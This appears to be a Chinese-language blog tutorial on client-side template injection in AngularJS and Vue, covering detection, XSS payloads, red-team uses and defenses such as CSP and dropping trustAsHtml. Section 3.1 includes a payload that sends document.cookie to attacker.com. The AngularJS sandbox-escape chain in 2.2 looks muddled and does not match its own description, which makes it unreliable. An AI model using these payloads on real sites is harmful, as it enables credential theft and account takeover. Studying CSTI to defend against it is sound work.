导语:CSTI(客户端模板注入)是发生在浏览器这一侧的模板注入漏洞,常见于 AngularJS、VueJS 这类前端框架。攻击者只要找到一个能直接回显用户输入的位置,就能注入模板表达式,最终从沙箱里逃出来执行任意 JS——本质上是把 XSS 装进了模板引擎的盒子里。
一、CSTI 是什么
CSTI 全称 Client-Side Template Injection(客户端模板注入)。和服务端模板注入(SSTI)的攻击面一样,只不过执行环境从后端搬到了浏览器。
现代前端框架为了让”数据”和”视图”解耦,会在客户端跑一套模板引擎。AngularJS 用 {{ }},Vue 用 {{ }} 或 v- 指令,React 用 JSX。这些引擎都会对模板表达式做求值——比如 {{ 7*7 }} 渲染出来就是 49。
问题来了:用户输入一旦被插进模板上下文,框架会老老实实帮你求值。攻击者只要把表达式注进去,就能让浏览器执行任意代码。
1.1 识别特征
判断目标是否在用客户端模板,最直观的几条线索:
- 查看页面源码,搜
ng-app、ng-controller、v-app、data-vue等关键属性 - 看到
<div ng-app>这种带 Angular 标记的节点,基本可以确认 - 类似的 Vue 项目根节点会带
id="app"配合new Vue({el:'#app'})
1.2 与 SSTI 的对比
SSTI 的求值在后端模板引擎跑,CSTI 在浏览器跑。两者都能 RCE,但 CSTI 的落点几乎只能是 XSS——因为你拿到的执行权在前端。

二、测试方法
最经典的探测 Payload 只有 9 个字符:{{7*7}}。把它丢进任何疑似用户输入点,看响应里有没有变成 49。
<!-- 输入 -->
<input value="{{7*7}}">
<!-- 如果存在 CSTI,渲染后变成 -->
<input value="49">
只要表达式被求值,下一步就是上 XSS Payload。
2.1 简单 AngularJS XSS
AngularJS 1.x 的早期版本,模板里可以直接调 constructor:
{{constructor.constructor('alert(1)')()}}
这条 Payload 借助 JS 的 Function 构造器绕掉了沙箱限制,直接弹出 alert(1)。现代框架早就加了沙箱,但绕过方法也跟着迭代——下面展开。
2.2 沙箱逃逸链
AngularJS 1.x 引入过 Angular Sandbox,限制模板里能访问的全局对象。但攻击者很快摸到了绕过路径,经典三段式:
// 第一步:拿 Angular 上下文
{{x = {'y':''.constructor.prototype}['y']}}
// 第二步:通过原型链拿到 Function 构造器
{{x['charAt']=x['charAt']||''.constructor.prototype.charAt;}}
// 第三步:执行任意 JS
{{x['alert']=x.constructor.prototype.charAt;[].constructor.constructor('alert(document.domain)')()}}
这套链把”拿对象—拿原型—拿构造器—执行代码”四步串起来,是早期 CSTI 教学的标配。
三、真实利用场景
光弹个 alert(1) 意义不大,红队拿到 CSTI 一般走三条路:
3.1 偷 Cookie / Token
模板表达式里能直接执行 JS,等同于一个反射型 XSS。常见打法是:
{{constructor.constructor('fetch("http://attacker.com/?c="+document.cookie)')()}}
把 Cookie 外带到一个攻击者控制的域名,落地凭据窃取。
3.2 钓鱼页注入
CSTI 持久性差(刷新就没),但配合 SPA 路由可以做”伪装页面”。AngularJS 单页应用尤其适合——拿到注入点后渲染一个伪登录框,让用户重新输入账密。
3.3 配合 CSRF 拿接口
现代应用大量接口走前端 fetch,而前端鉴权基本只看 Cookie 或 localStorage。拿到 XSS 等于绕过 CSRF 限制,可以直接调用 /api/transfer、/api/admin/... 这类高权接口。
四、防御方案
防御 CSTI 比防御 SSTI 更直接,前端能做的就那么几件事:
4.1 关闭危险特性
AngularJS 的 sandbox 默认开启但可关闭,$sce.trustAsHtml() 是把 HTML 显式标记为可信,调一次就是一个 XSS 点。Code Review 时凡是看到 trustAsHtml 都要卡一下。
Vue 的 v-html 同样不能信任用户输入,必须配合后端 sanitize。
4.2 输入输出双校验
- 用户输入:长度限制 + 类型校验 + 关键字黑名单(
{{、}}、<script>) - 输出渲染:用框架自带的转义(
{{ }}在 Mustache/Handlebars 默认转义) - 禁止把用户输入塞进
innerHTML、v-html、bypassSecurityTrust*
4.3 CSP 加固
Content-Security-Policy 严格到 script-src 'self',即便有 CSTI 也很难外带数据。这是兜底手段,配合上面的输入校验双保险。
4.4 升级框架版本
AngularJS 1.x 已经停止维护,所有 CSTI 绕过 Payload 都集中在这条线。能升级 Angular / Vue 3 / React 的项目尽快升,旧框架每多跑一天就多一天的攻击窗口。
五、总结
CSTI 不是新漏洞,但每次前端框架升级都会冒出新变种。攻击者角度只要一条原则:用户输入进了模板上下文,就要按 RCE 当。防御者要做的,是把所有”框架帮你做”的事自己再做一遍——输入校验、输出转义、CSP 兜底、版本升级,缺一不可。
下次看到一个 ng-app,脑子里自动跑一遍 {{7*7}},能救你一次生产事故。














暂无评论内容